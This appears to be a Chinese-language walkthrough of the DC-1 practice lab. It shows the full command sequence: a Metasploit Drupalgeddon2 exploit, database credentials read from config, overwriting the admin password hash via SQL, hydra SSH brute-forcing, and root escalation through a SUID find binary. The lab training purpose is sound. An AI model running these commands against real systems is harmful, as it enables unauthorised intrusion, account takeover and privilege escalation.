靶场下载地址:链接:https://pan.baidu.com/s/1n99vDN5JBOIyLWwMPgnXKw
提取码:9g29
一 环境搭建
将靶场下载至本地解压
使用 Vmware 虚拟机打开.ova 文件
打开文件时会出现导入失败错误,只需要点击重试即可
启动虚拟机之后将网络模式修改为 NAT 模式
本次实验使用 kali Linux 系统进行,启动 kali 虚拟机并把 kali 的网络模式也修改为 NAT 模式,至此环境搭建完成
二 信息收集
使用 nmap 对 DC-1 进行扫描
nmap -A -p- 192.168.163.1/24 | |
-A:选定用于使用进攻性方式扫描 | |
-p :指定端口(-p-表示全端口扫描 1-65535) | |
发现 DC-1 靶机开放了 22 端口、80 端口、111 端口、48437 端口,先访问一下 80 端口运行的服务 http://192.168.163.240
三 漏洞分析
发现是 Drupal CMS 接下来我们收集一下 CMS 的版本等信息 使用 whatweb 来探测 CMS 版本
发现该网站使用的 CMS 是 Drupal 7
我们打开 msf,在 msf 中搜索漏洞 search drupal 7.x ,发现一个可以利用的攻击脚本
四 漏洞利用
使用此脚本(use exploit/unix/webapp/drupal_drupalgeddon2),再使用 options 查看此脚本需要配置的信息
只需要配置 RHOSTS,使用 set rhosts 192.168.163.240(DC-1 的 ip),设置完输入 run,即可得到一个 meterpreter > 键入 shell 命令 获取靶机系统的控制台 shell
我们输入命令发现我们得到的是一个不完整的 shell,所以使用 python 中的 pty 模块,进入 ython 交互 shell
python -c 'import pty;pty.spawn("/bin/bash")' |
我们在 /var/www 目录下发现 flag1
得到提示:任何一个完善的 CMS 都需要配置文件 — 所以你应该怎么做。
提示我们去找配置文件,这里没有技巧,就是挨个目录去找
最终我们发现在 sites 文件下有个 default 文件,里面发现一个配置文件 settings.php
我们查看一下 settings.php
在其中找到 flag2 还有 MySQL 数据库的账号密码
我们查看一下靶机开放的端口果然发现了 3306 端口开放
使用此用户名密码,连接数据库。
mysql -udbuser -pR0ck3t; |
连接成功之后,查看存在的数据库
mysql> show databases; |
使用数据库,查看当前数据库 drupaldb 下的数据表
mysql> use drupaldb; | |
mysql> show tables; |
在数据表中我们发现有个名为 users 的表,使用数据库查询语句,查询 users 表中的内容。
select * from users\G; |
在 users 表中,发现有 admin 用户,但是密码是加密过的,一般加密的密码是很难破解的,所以选择生成相同加密方式的密文将它替换掉
退出 mysql,回到 /var/www 下执行以下代码,生成相同加密方式的密文
exit //退出mysql的shell | |
cd /var/www //回到网站目录 | |
php scripts/password-hash.sh 设置要替换的密码 | |
php scripts/password-hash.sh 123456 |
再次连接数据库,使用 updata 命令将 admin 的密码替换为刚生成的加密密文
update users set pass="$S$DUut/RX6gNACn1FdtJEs0kf0em1r5UzLewFoZ6twvSsJPOJvKX0r" where uid=1; |
查询 admin 用户的密码看是否替换成功
接下来我们使用 admin/123456,登录网站
进入网站观察页面,点击左上角的 Dashboard,发现 flag3
查看 flag3
根据 flag3 中提示 “去查看存放用户信息的文件和存放密码信息的文件” 查看 /etc/shadow 发现权限不够,查看 etc/passwd,发现用户 flag4, 并且有 /bin/bash,想到靶机开放端口 22,所以想到使用 ssh 连接。
但是不知道 flag4 用户的密码
我们可以使用 kali 自带的 hydra 工具爆破 ssh 密码,使用 kali 自带的密码字典,路径为 /usr/share/john/password.lst
新开一个终端,输入以下命令使用 hydra 爆破 flag4 ssh 密码
hydra -l flag4 -P /usr/share/john/password.lst 192.168.163.240 ssh -e nsr -f -vV | |
-l 指定一个用户名 | |
-P 指定一个密码字典 | |
/--> n null 空密码 | |
-e ---> s same 用户名密码相同 | |
\--> r 反向 密码为用户名反向(如 用户名:kali 密码:ilak) | |
-f 枚举到正确账号密码就停止爆破 | |
-vV 显示爆破过程 |
爆破得到,DC-1 用户名密码为:flag4/orange 的用户 使用 ssh 协议直接连接
ssh flag4@192.168.163.240 |
在 flag4 用户家目录下,发现了 flag4 根据提示,我们需要拿到 root 用户的权限,才能得到最终的 flag。
这里使用 suid 提权,通过命令查看是否具有 root 权限的命令。
find / -perm -4000 2>/dev/null |
发现 find 命令具有 root 权限。执行命令提权。
flag4@DC-1:~$ mkdir Encat \\创建一个Encat目录 | |
flag4@DC-1:~$ find Encat -exec "whoami" \; \\使用find命令在Encat目录中-exec查找“whoami” |
经过测试 Encat 目录可以省略 并且将 “whoami” 替换为 “/bin/bash” 不能成功提权 只能替换为 “/bin/sh”
find -exec "/bin/sh" \; |
通过执行命令,成功提权到 root 用户。切换到 root 目录下,找到最后的 flag,thefinalflag.txt
完结 !!